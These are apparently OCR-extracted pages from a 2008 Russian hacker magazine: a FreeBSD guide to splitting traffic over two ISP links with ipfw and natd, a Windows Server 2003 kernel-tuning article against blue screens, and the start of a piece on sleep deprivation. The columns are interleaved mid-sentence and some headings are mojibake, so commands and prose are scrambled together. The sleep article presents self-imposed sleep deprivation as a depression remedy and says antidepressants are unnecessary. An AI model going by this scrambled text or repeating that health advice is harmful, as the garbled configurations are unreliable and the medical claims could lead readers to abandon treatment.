Наш маршрутизатор имеет две сетевые карты для внешних соединений: на
одну мы сразу получаем реальный IP-адрес 100.100.100.102 (шлюз про- 1. Направлять трафик, адресованный подсетям
вайдера — 100.100.100.101), во вторую воткнут ADSL-модем с адресом 213.100.0.0/16 и 213.200.0.0/24, во 2-й канал, остальной
192.168.1.1 (с провайдером он соединяется по PPPoE, динамически по- трафик — в 1-й.
лучает некоторый IP для работы и выполняет NAT-преобразование на этот 2. Обеспечить по 2-му каналу работу машин с адреса-
адрес; впрочем, нам это неинтересно — главное, что адрес 192.168.1.1 ми 172.16.0.x, а по 1-му — с адресами 172.16.1.x и
для исходящего трафика мы можем рассматривать как реальный). 172.16.2.x.
Очевидно, что динамическая природа второго канала не позволит исполь- 3. Использовать для SMTP-трафика 1-й канал (будем по-
зовать его для предоставления в Сеть собственных сервисов (например, лагать, что Sendmail работает на этой же машине), а все
веб-сайта), но в дальнейшем мы не будем на это отвлекаться. прочее пусть работает по 2-му каналу.
4. Выделить HTTP-трафик машин с адресами 172.16.1.x во
постаноВка проблемы 2-й канал, весь остальной трафик оставить на 1-м; HTTP-
Для начала давай определимся со способами распределения трафика меж- трафик должен проходить через прокси.
ду несколькими каналами. Во-первых, можно тупо делить его «пополам» 5. Обеспечить балансировку TCP-трафика между каналами в
— пакет туда, пакет сюда. Во-вторых, можно использовать «географичес- соотношении, близком к 2:1, независимо от типа трафика и
кое» деление — либо внешнее (когда трафик делится в зависимости от адресов источника и назначения.

xàêåð 05 /113/ 08
139
>> ХАКЕР.pro

вот зачем нам нужен nAT команда «ipfw show» удобна, чтобы посмотреть, сколько чего и куда пошло

Сразу обговорим один нюанс. Думаю, ты уже понял, что трафик будет # route add 0.0.0.0/1 192.168.1.1
идти не так, как нам хочется, а так, как прописано в таблицах марш-
рутизации у «чужих дядей». И даже если какой-то исходящий пакет Естественно, о чистой «половине» речи не идет, но, варьируя длину маски
мы умудримся пропихнуть в другой интерфейс, и провайдер его там подсети, можно добиться соотношения трафика в каналах, близкого к
не прибьет в рамках мероприятий по борьбе со спуфингом, ответный желаемому.
пакет все равно будет придерживаться стандартного маршрута. Отсюда На всякий случай снова вернусь к вопросу NAT-трансляции. Если все
следует, что нам нужен NAT, точнее, по одному на каждый внешний ка- внешние интерфейсы имеют реальные адреса, то пакеты, источни-
нал. Зачем? Ответ найдешь на рисунке: за счет трансляции адресов мы ком которых является сам маршрутизатор, никакой трансляции не
будем согласовывать нашу сеть с сетями (а следовательно, и маршрута- требуют — операционная система достаточно сообразительна, чтобы
ми) провайдеров, от которых получаем интернет. Теперь «чужие дяди» выставить адресом источника именно тот интерфейс, через который
будут слать пакеты не напрямую нам, а нашим провайдерам, причем пакет пойдет в мир иной (в смысле, во внешний). А вот внутреннюю
тем, которым нужно. сеть транслировать придется в любом случае, причем на обоих интер-
Итак, приступим к героическому преодолению этих проблем. фейсах:

задача 1: «Внешняя география» # natd -a 100.100.100.102 -p 8668


Самый простой и очевидный вариант решения — использование # natd -a 192.168.1.2 -p 8669
статической маршрутизации. Шлюз первого соединения объявляем # ipfw add divert 8668 ip from 172.16.0.0/16 to any via
шлюзом по умолчанию (туда пойдет весь трафик, кроме особого), а сети rl0 out
213.100.0.0/16 и 213.200.0.0/24 маршрутизируем в канал второго # ipfw add divert 8669 ip from 172.16.0.0/16 to any via
провайдера: ed0 out
# ipfw add divert 8668 ip from any to 100.100.100.102 via
# route add default 100.100.100.101 rl0 in
# route add 213.100.0.0/16 192.168.1.1 # ipfw add divert 8669 ip from any to 192.168.1.2 via ed0
# route add 213.200.0.0/24 192.168.1.1 in

Чтобы увековечить эти правила маршрутизации, добавим в /etc/ Что произойдет в итоге? Пакет, попав в систему из внутренней сети,
rc.conf такие строки: будет, в зависимости от адреса назначения, направлен на тот или иной
интерфейс (согласно таблице маршрутизации). На интерфейсе мы его
$ grep route /etc/rc.conf перехватываем и отправляем демону natd, чтобы во внешний мир пакет
static_routes="prov1_100 prov1_200" попал с нужным IP-адресом источника. Ну и последними двумя правилами
route_prov1_100="213.100.0.0/16 192.168.1.1" не забываем «разнатировать» входящие пакеты.
route_prov1_200="213.200.0.0/24 192.168.1.1" Во FreeBSD 7.0 появилась возможность сделать то же самое без помощи
defaultrouter="100.100.100.101" внешнего демона natd:

Как видишь, совсем необязательно ограничивать себя одной # ipfw nat 1 config ip 100.100.100.102
«особой» сетью — сколько надо, столько во второй канал и перена- # ipfw nat 2 config if 192.168.1.1
правляй. Вплоть до того, что туда можно отправить сразу «половину # ipfw add nat 1 from 172.16.0.0/16 to any via rl0
интернета»: # ipfw add nat 2 from 172.16.0.0/16 to any via ed0

140 xàêåð 05 /113/ 08


>> ХАКЕР.PRO

info
• Учти, что forward
пока не умеет работать
Схема тестовой сети из модуля. Поэто-
му ядро придется
пересобрать, добавив
Экспериментируя с сетью, без tcpdump не обойтись Обрати внимание, что в первой задаче (в которой мы исполь- опции IPFIREWALL,
зуем маршрутизацию) правила перенаправления должны IPFIREWALL_
отправлять исходный пакет на внешний интерфейс, где он уже FORWARD и, до кучи,
# ipfw add nat 1 from any to 100.100.100.102 via будет транслироваться соответствующим образом. Если пакет IPDIVERT.
rl0 отправлять на NAT непосредственно с внутреннего интерфей- В FreeBSD 7.0 можно
# ipfw add nat 2 from any to 192.168.1.1 via ed0 са, то мы просто не будем знать, на какой из внешних адресов заодно включить
его «вешать», так как он еще не прошел маршрутизацию. А в IPFIREWALL_NAT
Итак, задачу мы решили. Кстати, это решение не единственно этой задаче такого требования нет, поскольку адрес источника и LIBALIAS (без кото-
возможное, и ниже я коснусь еще одного варианта, позволяю- мы можем определить уже на внутреннем интерфейсе. рой ядро не соберется).
щего не трогать правила маршрутизации. Почему просто выполнить трансляцию недостаточно? Зачем
еще нужно что-то куда-то перенаправлять или вводить прави- • Уходить во внешний
Задача 2: «внутренняя география» ла маршрутизации — пакет ведь получит адресом источника канал пакет должен
Маршрутизацией, как видишь, можно реализовать только IP-адрес нужного нам интерфейса? Да, так и есть. Только с тем IP-адресом источ-
«внешнее географическое» деление. Наша вторая задача вот конечным пунктом пакета будет не шлюз провайдера, а ника, ответные пакеты
относится к «внутренней географии», так что нужно искать произвольный адрес в интернете, поэтому система пропишет на который вышестоя-
другое решение. Например, пакетный фильтр (раз он все для него маршрут через шлюз по умолчанию. А там пакет из щими провайдерами
равно нужен для NAT-преобразований) — ведь он тоже умеет «чужой» сети, скорее всего, никто ждать не будет. Теперь, во будут отправляться
выполнять перенаправление трафика, но гораздо гибче. С всем разобравшись, можно написать решение второй задачи: через этот же канал.
помощью forward-правил можно затолкать любой пакет в
нужный нам шлюз. Главное, чтобы его там хорошо приняли… # ipfw add 1000 divert 8669 ip from • За счет трансляции
Получается, первую задачу можно решить и так: 172.16.0.0/24 to any адресов мы согласо-
# ipfw add 1100 divert 8668 ip from вываем нашу сеть с се-
# ipfw add 1000 divert 8669 ip from 172.16.0.0/16 to any тями (следовательно,
172.16.0.0/16 to 213.100.0.0/16 # ipfw add 1200 divert 8669 ip from any to и маршрутами) про-
# ipfw add 1010 divert 8669 ip from 192.168.1.2 вайдеров, от которых
172.16.0.0/16 to 213.200.0.0/24 # ipfw add 1300 divert 8668 ip from any to получаем интернет.
# ipfw add 1100 divert 8668 ip from 100.100.100.102
172.16.0.0/16 to any # ipfw add 1500 fwd 192.168.1.1 ip from • Решение задачи
# ipfw add 1200 divert 8669 ip from any to 192.168.1.2 to any резервирования и
192.168.1.2 балансировки (мето-
# ipfw add 1300 divert 8668 ip from any to Первое и второе правила отличаются лишь длиной маски дом round-robin) для
100.100.100.102 при определении адреса источника — 1000‑м правилом мы OpenBSD ты найдешь
# ipfw add 1500 fwd 192.168.1.1 ip from отправляем адреса из 172.168.0.x в natd, работающий в статье «Укрощение
192.168.1.2 to any на порту 8669; правило 1100 выполнит то же самое, но те- двухголового змия»,
перь на «стандартный» NAT для оставшихся адресов из сети опубликованной
Понятно, что сначала мы должны выполнить трансляцию па- 172.168.x.x. в ][акере #092.
кетов, указав в первых двух правилах наши «особые» подсети,
а остальное перенаправив на «стандартный» NAT. Перена- Задача 3: обработка по типу трафика
правление необходимо, чтобы наши «натированные» пакеты Поскольку Sendmail у нас работает на этой же машине, и
с адресом 192.168.1.2 ушли в нужный канал, а не на шлюз для него мы отдаем канал с чистым статическим адресом, то
по умолчанию, куда они будут стремиться. NAT на этом участке не понадобится. Таким образом, задача
Теперь все стало гораздо веселее, потому что мы можем сводится к следующим шагам:
варьировать и from, и to, причем не только по подсетям, но и
на основании других признаков (номеров портов, типа прото- 1. Адрес модема — 192.168.1.1 — объявля- links
кола и даже идентификатора пользователя): ем шлюзом по умолчанию ("route add default На сайтах www.
192.168.1.1"). opennet.ru и www.
# ipfw add 10000 divert 8669 all from 172.16/16 2. Обеспечиваем трансляцию трафика, проходяще- dreamcatcher.ru пред-
to any го через ed0. ставлены статьи по
# ipfw add 10010 divert 8669 all from any to any 3. Заставляем Sendmail работать по первому ка- управлению загрузкой
80 налу, не учитывая шлюз по умолчанию. двух каналов, обеспе-
# ipfw add 10020 divert 8669 udp from any to any чению отказоустойчи-
# ipfw add 10030 divert 8669 all from any to any Первые два пункта нам уже знакомы. С входящим SMTP- вости и балансировке
uid 0 трафиком тоже вопросов возникнуть не должно — доста- нагрузки.

xàêåð 05 /113/ 08
141
>> ХАКЕР.PRO

точно прописать на DNS-сервере MX-запись, ссылающуюся на rl0 Не забудь перенаправить выходящие со Squid-а пакеты в нужные интер-
(100.100.100.102). А вот как заставить трафик уходить с этого же фейсы, дабы они не устремились в шлюз по умолчанию, чего нам совсем
адреса, а не через ed0? В настройках Sendmail есть специальная опция: не надо:

$ grep CLIENT /etc/mail/my.domain.ru.mc # ipfw add 1500 fwd 192.168.1.1 ip from 192.168.1.2 to
CLIENT_OPTIONS('Addr=100.100.100.102')dnl any

Остается пересобрать конфиг: Об интерфейсе 100.100.100.102 беспокоиться не нужно — эти пакеты


и так уйдут, куда надо, согласно параметру defaultrouter.
# cd /etc/mail
# make Задача 5: пропорциональная балансировка
# make install && make restart Наконец, пятая задача. Здесь уже зацепиться не за что — по условию не
должно быть никакой дискриминации ни по источнику, ни по адресу на-
Теперь адресом источника будет выступать указанный, и все, что от нас значения… Нужно просто обеспечить пропорциональное деление всего
требуется, — перенаправить эти пакеты в нужный шлюз: трафика. Понятно, что NAT-правила по-прежнему необходимы. Вопрос
в том, как сделать, чтобы первое из них оставляло треть пакетов для второ-
# ipfw add 1000 fwd 100.100.100.101 ip from го. В ipfw для этого можно воспользоваться правилом skipto с опцией prob:
100.100.100.102 to any
# natd -a 100.100.100.102 -p 8668
В принципе, можно ужесточить правило, скажем, используя уточнение «to # natd -a 192.168.1.1 -p 8669
any 25», но это уже на твое усмотрение. # ipfw add 0500 check-state
Другие MTA тоже должны располагать подобными возможностями, так # ipfw add 0900 prob 0.330000 skipto 1100 tcp from
что обращайся к соответствующей документации. 172.16.0.0/16 to any setup keep-state
# ipfw add 1000 divert 8668 ip from 172.16.0.0/16 to any
Задача 4: еще один пример «типовой» # ipfw add 1050 skipto 1200 ip from any to any
обработки # ipfw add 1100 divert 8669 ip from 172.16.0.0/16 to any
Можно было бы воспользоваться проверенным методом: пакетным # ipfw add 1200 divert 8668 ip from any to
фильтром в соответствии с портом назначения распределить трафик по 100.100.100.102 via rl0
разным NAT-серверам. Но ведь у нас есть дополнительное условие — обя- # ipfw add 1300 divert 8669 ip from any to 192.168.1.2
зательное использование прокси-сервера. А после прокси ipfw уже не via ed0
увидит адрес источника из внутренней подсети. Поэтому воспользуемся # ipfw add 1500 fwd 192.168.1.1 ip from 192.168.1.2 to
тем, что Squid умеет сам создавать различные исходящие соединения в any
зависимости от ACL-правил:
Другими словами, треть соединений мы «прокидываем» на второй
$ grep buh /usr/local/etc/squid/squid.conf NAT, а остальное пойдет на первый. Проверка состояния (keep-state/
acl lan src 172.16.0.0/255.255.0.0 check-state) нужна для того, чтобы не разбрасывать пакеты, принад­
acl buh src 172.16.1.0/255.255.255.0 лежащие одному соединению, по разным каналам. Фактически мы
tcp_outgoing_address 192.168.1.1 buh выполняем распределение не пакетов, а TCP-сессий в целом — для
tcp_outgoing_address 100.100.100.102 lan первого пакета сессии будет запомнено действие skipto (если пакет
попадет под prob), и в дальнейшем все пакеты этой сессии 500‑м
правилом будут отправляться сразу на 1100‑е. Конечно, по трафику
сессии могут сильно отличаться, но в долговременной перспективе

За кадром: вопрос можно считать, что соотношение трафика близко к желаемому.


Если ты собираешься использовать новые nat-правила в FreeBSD 7.0,

резервирования учти, что следует также изменить значение sysctl-переменной net.


inet.ip.fw.one_pass. В новой фряхе по умолчанию используется
«однопроходный» сценарий обработки пакетов, когда после nat-правила
Проблема резервирования каналов имеет свои особенности. пакет в цепочку не возвращается; но ведь нам надо и в нужный шлюз его
Собственно, сводится она к тому, чтобы переопределять сетевые перенаправить:
параметры (шлюз по умолчанию, таблицу маршрутизации, пра-
вила пакетного фильтра и т.п.) в зависимости от рабочего канала. # sysctl net.inet.ip.fw.one_pass=0
Но основной задачей является то, что нужно каким-то образом net.inet.ip.fw.one_pass: 1 -> 0
определять факт пропадания канала. Для PPP-соединений (в том
числе и для ADSL по PPPoE) можно воспользоваться скриптами В остальном принцип должен сохраниться.
if-up и if-down (детали могут отличаться в зависимости от реали-
зации; подробности, как всегда, ищи в документации). В случае Подводим итоги
же статического IP-адреса до сих пор ничего проще, чем ping, мне Как видишь, почти все решаемо. Нужно только «схватить» главную идею
не попадалось. Кстати, в случае PPP-соединения проблема может — уходить во внешний канал пакет должен с тем IP-адресом источника,
возникнуть не только на «последней миле», но и далее — в сети ответные пакеты на который вышестоящими провайдерами будут от-
провайдера. Тогда линк будет стоять, как вкопанный, а вот ра- правляться через этот же канал. В большинстве случаев самым приемле-
ботать ничего не будет. Выходит, что универсальным средством мым (и в то же время простым) вариантом будет использование NAT. Не
является банальный ping. Примеры скриптов, решающих задачу забывай и про дополнительные возможности используемых тобой прило-
резервирования канала, можно поискать в Сети — проблема не жений — не исключено, что в отдельных случаях они смогут предоставить
нова и готовых решений, в принципе, хватает. более элегантное решение.z

142 xàêåð 05 /113/ 08


>> ХАКЕР.pro

крИС каСперСкИ

Æèçíü ñåðâåðà
áåç BSOD
скрытые рычаги упраВления ядром WINDOWS SErVEr 2003

Синий экран смерти — одна из самых больших неприятностей, которая


только может случиться с сервером. Хотелось бы, чтобы она происходила как
можно реже, пусть даже ценой некоторого снижения производительности
и увеличения потребления оперативной памяти. Говорить будем, главным
образом, о Server 2003 Standard Edition. Но все сказанное во многом будет
справедливо и для других ОС линейки NT.

Синий экран смерти вспыхивает всякий раз, когда ядро диагностирует Другая неприятная черта NT — нежелание разбираться с источниками
критическую ошибку, которую не в состоянии корректно обработать. критических ошибок. При возникновении исключения в загружаемом
Например: обращение по нулевому указателю, попытка освобождения модуле ядра и Linux, и xBSD просто выгружают модуль, продолжая
уже освобожденной памяти и т.д. Ядро передает управление процедуре нормальную работу системы. Только в действительно критических
KeBugCheckEx, ответственной за «отрисовку» BSOD и сохранение ситуациях система впадает в панику («kernel panic» — аналог BSOD).
дампа памяти (если администратор действительно хочет его сохра- Казалось бы, у разработчиков NT в наличии все необходимые ингре-
нить). Некоторые отладчики уровня ядра (например, SoftICE) пере- диенты: имеется список модулей (то есть драйверов); у драйверов
хватывают вызов KeBugCheckEx, позволяя оператору «разрулить» есть процедура, ответственная за выгрузку драйвера (а даже если ее
ситуацию самостоятельно и вернуть систему к жизни. Это требует нет, система имеет возможность выгружать драйвера в аварийном
достаточно высокой квалификации, так что на этом вопросе подробно режиме); функция KeBugCheckEx в большинстве случаев определяет
останавливаться не будем. имя драйвера-виновника. Ну что же мешает его выгрузить? Ладно, не
При всем моем уважении к NT, следует сказать, что у нее бездарное, будем о грустном, а сразу перейдем к делу.
кривое и недописанное (!) ядро. Еще со времен NT 4.x (если не рань- Основными источниками BSOD являются: дефекты железа, кривые драй-
ше) была предусмотрена возможность вызова call-back’ов (функций вера и rootkit’ы. Некоторые API-функции прикладного уровня за счет
обратного вызова) из KeBugCheckEx, позволяющих, в частности, ошибок проектирования также могут приводить к синим экранам (как
сбросить дисковые буферы, чтобы не погубить дисковый том. Но на и ошибки в самом ядре системе), но их доля в общем зачете невелика.
дворе уже Server 2008, а практическая реализация call-back’ов даже Итак, по большому счету остаются только железо и драйверы/rootkit’ы.
не обещается (хотя в NTFS драйвере все готовое для этого есть, стран- Что касается железа, то лучшим средством борьбы будет приобре-
но, не правда ли?!). тение качественных комплектующих, установка дополнительных

144 xàêåð 05 /113/ 08


>> ХАКЕР.PRO

Настройка Win2k3 под виртуаль-


ной машиной VM Ware

Уровни привилегий, поддерживаемые ядром NT (хорошо IRQL_LESS_OR_EQUAL — один из самых часто


заметно, что уровни прерывания от устройств находятся выше встречающихся синих экранов, возникающий при
уровня диспетчеризации, на котором работает подкачка попытке обращения к странице, вытесненной на
страниц с диска) диск на том уровне привилегий, на котором подкачка
не функциональна
info
• Подробное описание
радиаторов, прокладка аэродинамических кабелей, Наиболее популярные BSOD’ы всех BSOD’ов вместе
уменьшение тактовых частот/увеличение таймингов и способы их устранения с причинами их возник-
вкупе с увеличением питающего напряжения (большин- Появление многоядерных процессоров поставило драйверы новения и рекоменда-
ство BIOS это позволяют). Программным путем аппарат- «в позу», к чему большинство из них оказалось совершенно циями по их предот-
ные глюки никак не исправишь (исключение составляет не готово. Синие экраны начали вспыхивать с вероятностью, вращению можно
блокировка использования битых ячеек памяти, но с зависящей от частоты поступления прерываний от аппарат- найти как в MSDN, так
учетом нынешних цен на память эти извращения неак- ных устройств. Рассмотрим вполне типичную ситуацию: и в DDK. Однако и то,
туальны). поток A выполняется на ядре I с IRQL=PASSIVE_LEVEL, в и другое, в первую оче-
Таким образом, в списке остались лишь драйвера/ то время как поток B выполняется на ядре II с тем же IRQL. редь, ориентировано
rootkit’ы. Ну, rootkit’ы удаляем сразу («][акер» неод- Устройство Device 1 посылает ядру I сигнал прерывания, на программистов,
нократно писал, как), а вот с драйверами проблема. которое ловит ядро операционки, повышает IRQL процес- знающих ассемблер,
Хороших системных программистов очень мало, а фирм, сорного ядра I до DIRQL и передает управление на обработку умеющих работать с
разрабатывающих железо — великое множество, вот и прерывания устройства Device 1. Обработчик выполняет отладчиком и готовых
приходится нанимать «мальчиков по объявлению», кле- первичную обработку ситуации и ставит отложенную про- часами разбирать
пающих драйверы в визуальных средах проектирования цедуру DpcForIsr() в очередь для дальнейшей обработки. дампы памяти для
типа DriverStudio, а потом удивляющихся, почему они па- При этом функция добавляется в очередь того процессорного поиска ошибки в под-
дают. Исправление ошибок в драйвере — дело посильное ядра, на котором запущен обработчик (в данном случае — это опытном драйвере.
(достаточно дружить с дизассемблером и отладчиком). ядро I).
Нетрудно, конечно, скачать более свежую версию (в Устройство Device 1 вновь генерирует прерывание, которое •Если кривой драйвер
надежде, что там хотя бы часть ошибок исправлена), но на этот раз посылается ядру II, поскольку ядро I еще не при интенсивном пос-
лучше и надежнее переконфигурировать ядро опера- успело выйти из обработчика прерывания и понизить IRQL. туплении прерываний
ционной системы, сделав его менее чувствительным к Ось повышает IRQL ядра II до DIRQL и передает управление не справляется
ошибкам в драйверах. Чем мы сейчас, собственно говоря, обработчику прерываний устройства Device 1, который с синхронизацией
и займемся. ставит еще одну отложенную процедуру DpcForIsr() в и обрушивает систему
очередь на выполнение ядра II. в BSOD, то лучше
Рычаги управления ядром Наконец, обработчики прерываний на обоих ядрах завер- поступиться произ-
Ядро поддерживает множество рычагов управления. Ниже шаются, ось понижает IRQL, и начинается выполнение водительностью, чем
перечислены только основные из них. отложенных процедур, стоящих в очередях ядра I и ядра II. надежностью.
boot.ini. Файл boot.ini, который находится в корневом В результате, одна и та же процедура DpcForIsr() на обоих
каталоге системного диска, принимает большое коли- ядрах исполняется одновременно, обрабатывая сразу два
чество параметров, управляющих конфигурацией ядра. различных прерывания! Маленькая небрежность кодиро-
Параметры подробно описаны на MSDN: support.microsoft. вания приводит к ошибкам синхронизации, вызывающим
com/kb/833721/ru (только документированные ключи) и каскад вторичных ошибок и способным генерировать добрую
в статье Марка Руссиновича «Boot.ini options reference» на половину всех существующих синих экранов.
сайте www.ingenieroguzman.com.ar. Выход?
Глобальные флаги. Ядро NT поддерживает так называ- Использовать только одно ядро, игнорируя все остальные,
емые «глобальные флаги», управляющие его поведением. для чего достаточно указать ключ /ONECPU или /NUMPROC=1
Задаются они с помощью утилиты gflags.exe, входящей в файле boot.ini. Конечно, это снизит производительность,
в комплект поставки «Support Tools», и в DDK, который но если кривой драйвер при интенсивном поступлении
можно бесплатно скачать с сайта Microsoft. прерываний не справляется с синхронизацией и обрушивает
Реестр. Ядро Win2k3 поддерживает свыше 128 ключей систему в BSOD, то лучше поступиться производительностью,
реестра, большинство из которых не документировано и чем надежностью.
добыто путем дизассемблирования. Нет смысла расска- А кому не знаком BSOD с противным названием IRQL_
зывать обо всех, однако их описание (вместе с полным LESS_OR_EQUAL, выпрыгивающий в самый неподходящий
путем к реестру) легко найти в Google по имени ключа. момент? Что это такое, и почему он возникает? Операци-
Практически все ключи описаны в различных источниках онные системы семейства NT используют особую систему
(форумах, блогах, исходных текстах ReactOS и т.д.). приоритетов прерываний Interrupt Request Levels (или

xàêåð 05 /113/ 08
145
>> ХАКЕР.pro

описание утилиты gflags.exe на сайте Microsoft Techcenter

функции, как DbgPrint, использующейся в драйверах для


отладочной печати. Подробнее об этом можно прочитать в
16h выпуске «Exploits Review», опубликованном в журнале
«][акер». Ну а для преодоления BSOD достаточно вызывать
gflags.exe с флагом ddp.
Хочется отметить, что основными поставщиками BSOD
являются драйвера видео- и звуковых карт, поэтому удаляем
описание синих экранов в DDK драйвер звуковой карты (а зачем серверу звук?) и для фор-
сирования VGA режима в boot.ini прописываем ключик
/BASEVIDEO.
сокращенно IRQ), оперирующую целыми числами от 0 до Еще одну проблему представляет собой поддержка расшире-
31. Уровень 0 имеет минимальный приоритет, 31 — мак- ний физических адресов (Physical Address Extensions или
симальный. Нормальное выполнение потока происходит сокращенно PAE). Теоретически она позволяет операцион-
на пассивном уровне (PASSIVE LEVEL == 0), и его может ной системе использовать свыше 4х Гб физической памяти,
прерывать любое асинхронное событие, возникающее в практически же Win2k3 Standard Edition этой возможности
системе. При этом ось повышает текущий IRQL до уровня не поддерживает, вынуждая нас искать Enterprise Edition.
links возникшего прерывания и передает управление его ISR Однако при активном механизме DEP (Data Execution
Статью «Boot.ini (Interrupt Service Routine — процедура обработки преры- Prevention), включенном по умолчанию в Win2k3 SP1, сис-
options reference» вания), причем, подкачка страниц с диска работает только тема всегда стартует с поддержкой PAE, независимо от коли-
марка руссино- на уровне 2, а прерывания, генерируемые устройствами, чества физической памяти, имеющейся на борту. Это создает
вича ищи на www. начинаются с уровня 3. И потому первичные обработчики проблемы с некоторыми драйверами, поскольку в режиме
ingenieroguzman. прерываний не могут обращаться к памяти ядра, вытесня- PAE на уровне ядра имеются некоторые тонкости работы с
com.ar. емой на диск! Увы, как показывает практика, они к ней все- памятью, учитываемые далеко не всеми разработчиками.
таки обращаются. Если запрещенная страница находится в Очевидное решение — добавить ключ /NOPAE в boot.ini и
памяти, то все ОК, а вот если она вытеснена на диск, тогда- забыть об этой проблеме раз и навсегда.
то и возникает указанный BSOD. Остальные проблемы с BSOD’ами решаются эксперимен-
Как его предотвратить? Решение первое — увеличить коли- тальным путем посредством манипуляций с ключами
чество оперативной памяти, чтобы шансы на вытеснение реестра, перечисленными в таблице «Ключи реестра,
запрашиваемых страниц были минимальны. Решение вто- ответственные за конфигурирование ядра» (ты найдешь ее
рое — запретить свопинг ядра на диск, для чего необходимо на прилагаемом к журналу диске).
установить параметр «DisablePagingExecutive» (типа
DWORD) в значение 1 (он находится в следующей ветке заклЮчение
реестра: HKLM\SYSTEM\CurrentControlSet\Control\ Настройку сервера удобнее осуществлять под виртуальной
SessionManager\MemoryManagement). Также следует машиной типа VM Ware, выделяя гостевой операционной
запустить gflags.exe с флагом dps, запрещающим вытесне- системе минимум памяти и направляя на нее шторм сетевых
ние стека ядра на диск. Изменения вступят в силу только пакетов. При наличии «кривых» драйверов BSOD не заставит
dvd после перезагрузки. И хотя потребности в памяти слегка себя ждать и тут же появится на экране. К сожалению, VM
на прилагаемом к увеличиваются (поскольку ядро уже не может вытеснить Ware не дает прямого доступа к большинству компонентов
журналу диске ты най- бездействующие драйвера), общая надежность системы материнской платы. Поэтому тестируются совсем не те драй-
дешь исошку Windows çíà÷èòåëüíî повышается. Кроме того, система стано- вера, которые работают в реальных условиях. Но даже такой
Server 2003 SP1 DDK. вится нечувствительной к определенным типам DoS атак, примитивный тестовый стенд выявляет огромное количество
«съедающим» всю доступную память и вынуждающим ядро ошибок, позволяя подобрать оптимальные ключи реестра и
активно свопиться на диск в надежде, что в системе обна- файла boot.ini. Окончательную настройку ядра можно выпол-
ружится хоть один кривой драйвер, вызывающий BSOD с нить уже в натурных условиях, естественно, предварительно
пресловутым IRQL_LESS_OR_EQUAL. создав резервную копию boot.ini и реестра с помощью
Кстати говоря, в Win2k3 SP2 допущена досадная ошибка, любой утилиты резервирования, работающей до загрузки
связанная с некорректной реализацией SafeSEH и обру- Win2k3 (поскольку есть шанс, что после наших эксперимен-
шивающая систему в BSOD при вызове такой безобидной тов операционка вообще не сможет загрузиться).z

146 xàêåð 05 /113/ 08


>> units

Крис Касперски

Депривация:
над пропастью
сновидений
Филигранная техника трансформации сна

Кому из программистов не известна хроническая нехватка времени? Удар-


ные темпы работы и вместе с тем: масса интересных вещей (книги, форумы,
конференции) — и ведь так хочется все успеть! Уменьшив количество часов
сна, можно не только переделать накопившиеся дела, но и повысить креа-
тивность, и избавиться от депрессии. Впрочем, измененное состояние соз-
нания, сопровождающееся галлюцинациями, тоже можно заработать…

Спать или не спать? распадается на отдельные сгустки, живущие самостоятельной жизнью и


Состояние, при котором человек не спит и не бодрствует, на внешние генерирующие миллионы новых идей, над которыми в обычном состоянии
раздражители не реагирует, но способен выполнять ту работу, которой приходится биться неделями, а то и месяцами… Вот что такое депривация
его предварительно обучили, было известно еще во времена написания сна — но только, если применить к ней научный подход. Иначе вместо
Корана. креатива нам гарантированы дикая раздражительность, беспричинная
Правда, как показывает практика, галлюцинации при этом так и прут. Время агрессия, полная или частичная дезориентация, потеря памяти, страшная
с пространством меняются местами, биты и байты материализуются, плос­ сонливость и непрекращающаяся головная боль!
кая поверхность LCD-монитора приобретает вполне осязаемую глубину. Первая проблема, с которой ты столкнешься, если решишь покончить с
Из мрачной бездны памяти всплывают дела давно минувших дней, ярко «лишним» сном — неполнота, противоречивость и недостоверность ин-
вспыхивают ассоциации, образуя креативные цепочки, творческая энергия формации. В частности, на Wikipedia депривация описана одновременно в

148 xàêåð 05 /113/ 08


>> units

Меры
предосторожности
Мелатонин
Депривация сна (особенно продолжительная) предъявляет жесткие
требования к безопасности. В это время категорически запрещается
садиться за руль и пользоваться станками и механизмами, способны-
ми нанести увечье. Не рекомендуется выходить из дома (особенно
на проезжую часть), а также заниматься деятельностью, требующей
повышенного внимания.
Перед началом экспериментов следует выспаться и выкроить дос-
таточный промежуток свободного времени, в течение которого нет warning
никаких неотложных дел. Будь осторожен, никто
Депривация — это не волшебная палочка. Это ретивый необъезжен- не знает, как твой
ный конь, которым еще предстоит научиться управлять! организм отреагирует
на частичный или
полный отказ от сна.

прибегать к снотворным), сон становится нервным, неглубо-


ким, а после пробуждения во всем теле ощущается разбитость,
Постер фильма «Memento» («Помни»), наглядно и голова будто свинцом налита. Иногда организм входит в
демонстрирующего роль кратковременной новый ритм уже на третий день, а иногда… упорно отказывает-
памяти
ся функционировать на урезанном «пайке». Работа идет вяло,
никаких творческих мыслей в голове не появляется.
двух статьях — «Sleep» и «Sleep deprivation» — причем, первая Так что, какой вид депривации предпочтительнее, определя- links
подробнее, хотя и содержит внутренние противоречия (это ется типом личности. К примеру, автор статьи принадлежит Про депривацию сна
странно, учитывая, что состояние сна изучается уже доволь- к первому типу и легко переносит 36‑часовой рабочий «ма- можно почитать в Ви-
но давно). По теме имеется множество экспериментальных рафон», после чего впадает в спячку, просыпаясь бодрым и кипедии: en.wikipedia.
данных, научных работ, etc, но, увы, мне не попадалось ни отдохнувшим. А вот хронический недосып конкретно выбивает org, ключевые слова:
одной книжки, описывающей сложную научную заумь простым из колеи, требуя длительного периода регенерации! Sleep и Sleep_
языком. Существует еще так называемая REM-депривация, но ее deprivation.
трудно осуществить в домашних условиях, поскольку она
Виды депривации сна проводится под контролем ЭЭГ с записью движения глаз. При
Депривацию различают тотальную и частичную. При тоталь- появлении на ЭЭГ характерных признаков фазы «быстрого»
ной человек не спит в течение одних суток и последующего сна человека будят, потом он вновь засыпает — до очередной
дня (~36 часов бодрствования). Затем наступает здоровый «быстрой» фазы. И так всю ночь! В силу невысокой распро-
продолжительный сон (~12 часов), после которого человек страненности методики достоверных сведений о ее эффектив-
спит/бодрствует «в обычном режиме». Новичку лучше не ности нет.
практиковать тотальную депривацию чаще двух раз в неделю.
Естественно, цифры приблизительные и не учитывают инди- Парадоксы депривации
видуальные особенности. В медицинских целях (для борьбы с Вот мы и подошли к самой интересной части нашего повество-
дегрессиями) рекомендуется начинать с двухразовой депри- вания. А именно — что же (по данным современной медицины)
вации, вызывающей на первых порах кратковременное улуч- происходит с организмом при депривации сна? Сначала не-
шение психического состояния. После закрепления эффекта обходимо разобраться, зачем природа вообще придумала сон.
— лишать себя сна только раз в неделю (все-таки, стресс). Помимо того, что сон является естественным отдыхом, он актив-
Обычно для выхода из депрессивного состояния достаточно но участвует в процессах метаболизма (обмена веществ). Суще-
6-9 сеансов (и не нужно лопать антидепрессанты, имеющие ствует несколько разновидностей сна, циклически сменяющих
